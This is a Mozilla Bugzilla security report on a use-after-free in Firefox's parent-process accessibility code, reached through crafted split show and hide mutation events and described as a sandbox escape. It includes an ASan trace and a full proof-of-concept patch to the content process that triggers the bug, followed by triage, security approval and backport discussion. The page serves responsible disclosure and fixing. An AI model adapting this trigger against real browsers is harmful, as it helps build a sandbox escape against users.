Use after free involving CachedTableAccessible in the parent process (sandbox escape)
Categories
(Core :: Disability Access APIs, defect)
Tracking
()
People
(Reporter: oskarlindberg348, Assigned: Jamie)
References
(Regression)
Details
(5 keywords, Whiteboard: [client-bounty-form][adv-main153+][adv-ESR140.13+][adv-ESR115.38+])
Attachments
(6 files)
|
8.46 KB,
patch
|
Details | Diff | Splinter Review | |
|
10.62 KB,
patch
|
Details | Diff | Splinter Review | |
|
48 bytes,
text/x-phabricator-request
|
tjr
:
sec-approval+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-beta+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-esr115+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-esr140+
|
Details | Review |
Writeup follows
Background
Some accessibility features are exposed via the PDocAccessible actor which is hosted on the browser process, the actor is used as a bridge to the platform native accessibility interface.
The parent has the corresponding tree of accessible documents,
The tree is modified mainly by mutation events:
async MutationEvents(MutationEventData[] aData);
internally this mutation events are an array of different events such as:
showEventData- create new nodes on the tree.HideEventData- removes nodes from the tree.
Vulnerability
By sending an incomplete showEventData message, we can create a node pending for attachment:
mozilla::ipc::IPCResult DocAccessibleParent::ProcessShowEvent(
nsTArray<AccessibleData>&& aNewTree, const bool& aEventSuppressed,
const bool& aComplete, const bool& aFromUser) {
...
RemoteAccessible* child = CreateAcc(accData);
...
if (!aComplete && !mPendingShowChild) {
// This is the first message for a show event split across multiple
// messages. Save the show target for subsequent messages and return.
const auto& accData = aNewTree[0];
mPendingShowChild = accData.ID();
mPendingShowParent = accData.ParentID();
mPendingShowIndex = accData.IndexInParent();
return IPC_OK();
}
which on the next complete show event, will attach the pending node:
if (mPendingShowChild) {
// This is the last message for a show event split across multiple
// messages. Retrieve the saved show target, attach it to the tree and fire
// an event if appropriate.
rootParent = GetAccessible(mPendingShowParent);
MOZ_ASSERT(rootParent);
root = GetAccessible(mPendingShowChild);
MOZ_ASSERT(root);
if (!AttachChild(rootParent, mPendingShowIndex, root)) {
return IPC_FAIL(this, "failed to attach pending show child");
}
mPendingShowChild = 0;
mPendingShowParent = 0;
mPendingShowIndex = 0;
}
That way if we create a pending node with id 0x20 which pends to attach to id 0x10,
then create node with id 0x10 as the child of 0x20, 0x20 will also attach itself as the child of 0x10 - and we get a cycle.
that cycle will cause a UAF after we destroy the node with 0x10 using HideEventData.
the uaf originates from the fact that after 0x20 is destroyed, a dangling pointer remains in the mParent field of node 0x10, and when 0x10 is being destroyed, a read and virtual jump is used on that pointer in:
void RemoteAccessible::Shutdown() {
...
if (IsTable() || IsTableRow() || IsTableCell()) {
CachedTableAccessible::Invalidate(this);
}
}
void CachedTableAccessible::Invalidate(Accessible* aAcc) {
...
Accessible* table = nsAccUtils::TableFor(aAcc);
while (table && table->IsTable()) { // [1]
// Destroy the instance (if any). We'll create a new one the next time it
// is requested. Climb up the heirarcy to invalidate parent tables as well.
sCachedTables->Remove(table);
// The table may be a direct child of another table, invalidate that one as
// well.
table = table->Parent(); // [2]
}
}
- After the first iteration, table climbs to point to 0x20 causing a UAFR.
- Virtual call on the uaf pointer.
Asan report
AddressSanitizer: heap-use-after-free on address 0x77800a502b2b at pc 0x76fffbb075e6 bp 0x7ffca5d6f3b0 sp 0x7ffca5d6f3a8
READ of size 1 at 0x77800a502b2b thread T0
#0 0x76fffbb075e5 in mozilla::a11y::Accessible::ARIARoleMap() const /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/accessible/basetypes/./../../../accessible/basetypes/Accessible.cpp:134:36
#1 0x76fffbb075e5 in mozilla::a11y::Accessible::HasGenericType(mozilla::a11y::AccGenericType) const /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/accessible/basetypes/./../../../accessible/basetypes/Accessible.cpp:165:40
#2 0x76fffba6266c in mozilla::a11y::Accessible::IsTable() const /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/dist/include/mozilla/a11y/Accessible.h:606:33
#3 0x76fffba6266c in mozilla::a11y::CachedTableAccessible::Invalidate(mozilla::a11y::Accessible*) /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/accessible/base/./../../../accessible/base/CachedTableAccessible.cpp:85:26
#4 0x76fffbbb14cd in mozilla::a11y::RemoteAccessible::Shutdown() /home/user/Downloads/firefox/obj-x86_64-pc-linux-gnu-asan/accessible/ipc/./../../../accessible/ipc/RemoteAccessible.cpp:60:5
UAF on read (checking isTable) - a virtual call will follow.
Implications
Firefox latest and cross-platform use after free to the browser process.
Reproduction
- Apply the following patch:
diff --git a/.gitignore b/.gitignore
index 8e8df9ebc87a..2f77b8385ec3 100644
--- a/.gitignore
+++ b/.gitignore
@@ -419,3 +419,6 @@ CLAUDE.local.md
# Ignore .json.gz (typically profiles) in the root directory
# lint-ignore-next-line: git-only
/*.json.gz
+core*
+info
+.gdb_history
diff --git a/accessible/base/CachedTableAccessible.cpp b/accessible/base/CachedTableAccessible.cpp
index 52dd34236274..2e6a31299c2b 100644
--- a/accessible/base/CachedTableAccessible.cpp
+++ b/accessible/base/CachedTableAccessible.cpp
@@ -52,7 +52,7 @@ using CachedTablesMap = nsTHashMap<Accessible*, CachedTableAccessible>;
// 2. It avoids wasting memory in a document that doesn't have any tables.
// 3. It allows the cache management to be encapsulated here in
// CachedTableAccessible.
-static StaticAutoPtr<CachedTablesMap> sCachedTables;
+static CachedTablesMap* sCachedTables = new CachedTablesMap();
/* static */
CachedTableAccessible* CachedTableAccessible::GetFrom(Accessible* aAcc) {
diff --git a/accessible/base/DocManager.cpp b/accessible/base/DocManager.cpp
index 35cec757220f..19620352487e 100644
--- a/accessible/base/DocManager.cpp
+++ b/accessible/base/DocManager.cpp
@@ -197,9 +197,9 @@ bool DocManager::IsProcessingRefreshDriverNotification() const {
#ifdef MOZ_ENABLE_SKIA_PDF
/* static */
void DocManager::NotifyOfPrintDocument(dom::Document* aDoc) {
- if (!StaticPrefs::accessibility_tagged_pdf_output_enabled()) {
- return;
- }
+ // if (!StaticPrefs::accessibility_tagged_pdf_output_enabled()) {
+ // return;
+ // }
// Bring up the accessibility service if it isn't already running. Use the
// ePdfOutput consumer flag so that, if there is no other consumer, the
// service stays in PDF-only mode and doesn't create accessibles for
diff --git a/accessible/ipc/DocAccessibleChild.cpp b/accessible/ipc/DocAccessibleChild.cpp
index d8da91a22459..b7e16299deb9 100644
--- a/accessible/ipc/DocAccessibleChild.cpp
+++ b/accessible/ipc/DocAccessibleChild.cpp
@@ -5,6 +5,7 @@
#include "chrome/common/ipc_channel.h"
#include "mozilla/a11y/DocAccessibleChild.h"
#include "mozilla/SelectionChangeEventDispatcher.h"
+#include "mozilla/a11y/AccTypes.h"
#include "mozilla/a11y/CacheConstants.h"
#include "mozilla/a11y/FocusManager.h"
#include "mozilla/AppShutdown.h"
@@ -80,49 +81,67 @@ void DocAccessibleChild::InsertIntoIpcTree(LocalAccessible* aChild,
// nsTArray<LocalAccessible*> shownTree;
// FlattenTree(aChild, shownTree);
// uint32_t totalAccs = shownTree.Length();
+
nsTArray<AccessibleData> first_data_arr(1);
+ const uint32_t accCount = first_data_arr.Length();
auto firstData = SerializeAcc(aChild);
+ firstData.Type() = eHTMLAbbrevType;
firstData.IndexInParent() = 0;
+ firstData.ID() = 0x10;
first_data_arr.AppendElement(firstData);
- const uint32_t accCount = first_data_arr.Length();
PushMutationEventData(
ShowEventData{std::move(first_data_arr), true, true, false}, accCount);
+ // Now the tree has 0, 0x10
+
nsTArray<AccessibleData> second_data_arr(1);
- // auto firstData = SerializeAcc(aChild);
- firstData.ID() = 0x10;
- firstData.IndexInParent() = 0; // Overwrite the first id.
+ firstData.ID() = 0x20;
+ firstData.IndexInParent() = 0;
+ firstData.ParentID() = 0x10;
second_data_arr.AppendElement(firstData);
// const uint32_t accCount = SelectionChangeEventDispatcher.Length();
PushMutationEventData(
- ShowEventData{std::move(second_data_arr), true, true, false}, accCount);
+ ShowEventData{std::move(second_data_arr), true, false, false}, accCount);
+
+ // Now the tree has 0, 0x10
+ // but we can also attach to 0x20.
+
+ PushMutationEventData(HideEventData{0x10, false});
+
+ // Now the tree has 0
+ // but we can also attach to 0x20 - the 0x20 one is pending to attach to 0x10.
nsTArray<AccessibleData> third_data_arr(1);
- firstData.ID() = 0x20;
- firstData.IndexInParent() = 0; // Overwrite the first id.
+ firstData.GenericTypes() = eTable;
+ firstData.ID() = 0x10;
+ firstData.ParentID() = 0x20;
+ firstData.IndexInParent() = 0;
third_data_arr.AppendElement(firstData);
// const uint32_t accCount = SelectionChangeEventDispatcher.Length();
PushMutationEventData(
ShowEventData{std::move(third_data_arr), true, true, false}, accCount);
+ PushMutationEventData(HideEventData{0x10, false});
+
// for (uint32_t accIndex = 0; accIndex < totalAccs; ++accIndex) {
- // // This batch of mutation events has no more room left without exceeding
- // our
+ // // This batch of mutation events has no more room left without
+ // exceeding our
// // limit. Write the show event data to the queue.
// if (data.Length() + mMutationEventBatcher.AccCount() ==
// kMaxAccsPerMessage) {
// if (AppShutdown::IsShutdownImpending()) {
// return;
// }
- // // Note: bool(...) used on aSuppressShowEvent to force selection of the
- // // ShowEventData constructor that takes all rvalue reference arguments.
- // const uint32_t accCount = data.Length();
+ // // Note: bool(...) used on aSuppressShowEvent to force selection of
+ // the
+ // // ShowEventData constructor that takes all rvalue reference
+ // arguments. const uint32_t accCount = data.Length();
// PushMutationEventData(
// ShowEventData{std::move(data), bool(aSuppressShowEvent), false,
// false},
@@ -163,8 +182,8 @@ void DocAccessibleChild::PushMutationEventData(MutationEventData aData,
mMutationEventBatcher.PushMutationEventData(std::move(aData), aAccCount,
*this);
// Once all mutation events for this tick are sent, we defer all updates
- // until the parent process sends us a single ACK. We set that flag here, but
- // we request that ACK in NotificationController::WillRefresh once all
+ // until the parent process sends us a single ACK. We set that flag here,
+ // but we request that ACK in NotificationController::WillRefresh once all
// mutation events have been sent.
mHasUnackedMutationEvents = true;
}
@@ -455,19 +474,20 @@ void DocAccessibleChild::MutationEventBatcher::PushMutationEventData(
MutationEventData aData, uint32_t aAccCount, DocAccessibleChild& aDocAcc) {
// We want to send the mutation events in batches. The number of events in a
// batch is unscientific. The goal is to avoid sending more data than would
- // overwhelm the IPC mechanism (see IPC::Channel::kMaximumMessageSize), but we
- // stop short of measuring actual message size here. We also don't want to
- // send too many events in one message, since that could choke up the parent
- // process as it tries to fire all the events synchronously. To address these
- // constraints, we construct batches of mutation event data, limiting our
- // events by number of Accessibles touched.
+ // overwhelm the IPC mechanism (see IPC::Channel::kMaximumMessageSize), but
+ // we stop short of measuring actual message size here. We also don't want
+ // to send too many events in one message, since that could choke up the
+ // parent process as it tries to fire all the events synchronously. To
+ // address these constraints, we construct batches of mutation event data,
+ // limiting our events by number of Accessibles touched.
MOZ_ASSERT(aAccCount <= kMaxAccsPerMessage,
"More Accessibles given than can fit in a single batch");
MOZ_ASSERT(aAccCount > 0, "Attempting to send an empty mutation event.");
// If we hit the exact limit of max Accessibles per message, send the queued
// mutation events. This happens somewhat often due to the logic in
- // InsertIntoIpcTree that attempts to generate perfectly-sized ShowEventData.
+ // InsertIntoIpcTree that attempts to generate perfectly-sized
+ // ShowEventData.
if (mAccCount + aAccCount == kMaxAccsPerMessage) {
mMutationEventData.AppendElement(std::move(aData));
SendQueuedMutationEvents(aDocAcc);
diff --git a/dom/ipc/BrowserChild.cpp b/dom/ipc/BrowserChild.cpp
index f70a01005083..dac76d45f169 100644
--- a/dom/ipc/BrowserChild.cpp
+++ b/dom/ipc/BrowserChild.cpp
@@ -4223,7 +4223,13 @@ BrowserChild::ContentTransformsReceived(JSContext* aCx,
return rv.StealNSResult();
}
+bool onetime = false;
already_AddRefed<nsIDragSession> BrowserChild::GetDragSession() {
+ if (!onetime) {
+ if (RefPtr<Document> doc = GetTopLevelDocument()) {
+ a11y::DocManager::NotifyOfPrintDocument(doc);
+ }
+ }
return RefPtr(mDragSession).forget();
}
The patch modifies the child process to create and send message to the DocAccessibleParent actor.
And its also changing the static initialisation of sCachedTables to avoid sending messages to create it (it's only needs to be created once either way, the content is not relevant for the bug).
Found via manual auditing.
Updated•4 months ago
|
Updated•4 months ago
|
Comment 2•4 months ago
|
||
Thank you for the report.
-
This patch disables a check of the pref
accessibility.tagged_pdf_output.enabled, which is set to false by default. Does this reproduce without that pref being set to true? If so, please upload a new patch without that change. If not, this won't be eligible for the bug bounty. (It looks likeMOZ_ENABLE_SKIA_PDFis only true on Nightly but that's fine as far as the bounty program eligibility goes.) It looks like that is being worked on as part of bug 2021819. -
Please attach diffs to the bug, with the "patch" checkbox set. This makes it easier for us to reproduce the issue. Also it would be nice if you avoided including formatting changes in the diff, as it makes it harder to see what is actually changing. It would also be nice to throw in something like a
MOZ_RELEASE_ASSERT(!XRE_IsParentProcess())into the modifiedDocAccessibleChildprocess to more clearly demonstrate to somebody who isn't as familiar with the process architecture that we're not in the parent.
Got it, I've added MOZ_RELEASE_ASSERT(XRE_IsContentProcess());
to make it clear that the code is running in the content process, and so the feature is irrelevant since I can make any modification to the code in the compromised content process.
Comment 4•4 months ago
|
||
Ah, okay, that makes sense. Thanks for the explanation and the updated patch.
| Assignee | ||
Updated•4 months ago
|
Comment 7•4 months ago
|
||
Hi Oskar,
The patch you provided does not apply. From the context lines it looks like you had earlier modifications as well. Can you please create a patch against an upstream branch?
Thanks!
Patch relative to c61c00aeecd9294b5dcc4daffb46a52f8bdf31eb
Comment 9•4 months ago
|
||
Applying the fix in bug 2045392 does not prevent this. I see the same ASAN report as above.
Comment 10•4 months ago
|
||
(In reply to Oskar from comment #3)
Got it, I've added MOZ_RELEASE_ASSERT(XRE_IsContentProcess());
to make it clear that the code is running in the content process, and so the feature is irrelevant since I can make any modification to the code in the compromised content process.
Yes, but the pref is also checked in the parent in a couple of places through the use of PdfStructTreeBuilder. It looks like that's not relevant to this bug, but because you changed the pref we now have to do work to prove that's the case. If you can "make any modification to the code in the compromised content process" we'd much prefer you to modify the content-side checks for a pref and NOT the pref itself.
| Comment hidden (obsolete) |
Comment 12•4 months ago
|
||
(In reply to Daniel Veditz [:dveditz] from comment #10)
Yes, but the pref is also checked in the parent in a couple of places through the use of
PdfStructTreeBuilder. It looks like that's not relevant to this bug, but because you changed the pref we now have to do work to prove that's the case. If you can "make any modification to the code in the compromised content process" we'd much prefer you to modify the content-side checks for a pref and NOT the pref itself.
They didn't change the pref: they deleted one place the pref was checked. In the new version of the patch, there's a process guard so we can see that the pref change is only applicable to the child process, so that's fine.
MOZ_RELEASE_ASSERT(XRE_IsContentProcess());
if (!XRE_IsContentProcess() && !StaticPrefs::accessibility_tagged_pdf_output_enabled()) {
| Assignee | ||
Updated•4 months ago
|
| Assignee | ||
Comment 13•4 months ago
|
||
| Assignee | ||
Comment 14•4 months ago
|
||
Comment on attachment 9597283 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: It's pretty clear from the patch that this relates to split show events and I can't really obscure that. I don't think this immediately points to how you could use that information to exploit the previous lack of validation, though. That said, exploiting this first requires a content process remote execution exploit.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all
- If not all supported branches, which bug introduced the flaw?: None
- Do you have backports for the affected branches?: No
- If not, how different, hard to create, and risky will they be?: Backports should be relatively straightforward back to ESR 140. ESR 115 is likely to be messier and I'm unfamiliar enough with that code now that this is higher risk.
- How likely is this patch to cause regressions; how much testing does it need?: Very unlikely. Simply checks the validity of input and explicitly fails for invalid input where we previously would have crashed instead.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
| Assignee | ||
Updated•4 months ago
|
| Assignee | ||
Updated•4 months ago
|
Updated•4 months ago
|
| Assignee | ||
Comment 16•4 months ago
|
||
(In reply to James Teh [:Jamie] from comment #14)
- If not all supported branches, which bug introduced the flaw?: None
Actually, bug 1779578, but it's still all supported branches.
| Reporter | ||
Comment 18•4 months ago
|
||
Is there a way I can get access to 2047958?
Comment 20•4 months ago
|
||
Comment on attachment 9597283 [details]
(secure)
Approved to land 7/2
Updated•4 months ago
|
Comment 21•3 months ago
|
||
There is an r+ patch which didn't land and no activity in this bug for 1 week.
:Jamie, could you have a look please?
If you still have some work to do, you can add an action "Plan Changes" in Phabricator.
For more information, please visit BugBot documentation.
Updated•3 months ago
|
Comment 22•3 months ago
|
||
13 days ago, tjr placed a reminder on the bug using the whiteboard tag [reminder-landing 2026-07-02] .
Jamie, please refer to the original comment to better understand the reason for the reminder.
| Assignee | ||
Updated•3 months ago
|
Comment 23•3 months ago
|
||
Comment 24•3 months ago
|
||
Comment 25•3 months ago
|
||
The patch landed in nightly and beta is affected.
:Jamie, is this bug important enough to require an uplift?
- If yes, please nominate the patch for beta approval.
- See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
- If no, please set
status-firefox153towontfix.
For more information, please visit BugBot documentation.
Updated•3 months ago
|
| Assignee | ||
Comment 26•3 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D306672
Updated•3 months ago
|
Comment 27•3 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined/Reason for urgency: sec-high
- Code covered by automated testing?: no
- Fix verified in Nightly?: no
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Enforces validation of something which should always be valid unless a content process is compromised.
- String changes made/needed?: none
- Is Android affected?: yes
| Assignee | ||
Updated•3 months ago
|
Comment 28•3 months ago
|
||
firefox-esr115 Uplift Approval Request
- User impact if declined/Reason for urgency: sec-high
- Code covered by automated testing?: no
- Fix verified in Nightly?: no
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Enforces validation of something which should always be valid unless a content process is compromised.
- String changes made/needed?: none
- Is Android affected?: yes
| Assignee | ||
Comment 29•3 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D306672
Comment 30•3 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined/Reason for urgency: sec-high
- Code covered by automated testing?: no
- Fix verified in Nightly?: no
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Enforces validation of something which should always be valid unless a content process is compromised.
- String changes made/needed?: none
- Is Android affected?: yes
| Assignee | ||
Comment 31•3 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D306672
Updated•3 months ago
|
Updated•3 months ago
|
Comment 32•3 months ago
|
||
| uplift | ||
Updated•3 months ago
|
Updated•3 months ago
|
Comment 33•3 months ago
|
||
| uplift | ||
Updated•3 months ago
|
Updated•3 months ago
|
Updated•3 months ago
|
Comment 35•3 months ago
|
||
| uplift | ||
Updated•3 months ago
|
Updated•3 months ago
|
Updated•2 months ago
|
Updated•1 month ago
|
Description
•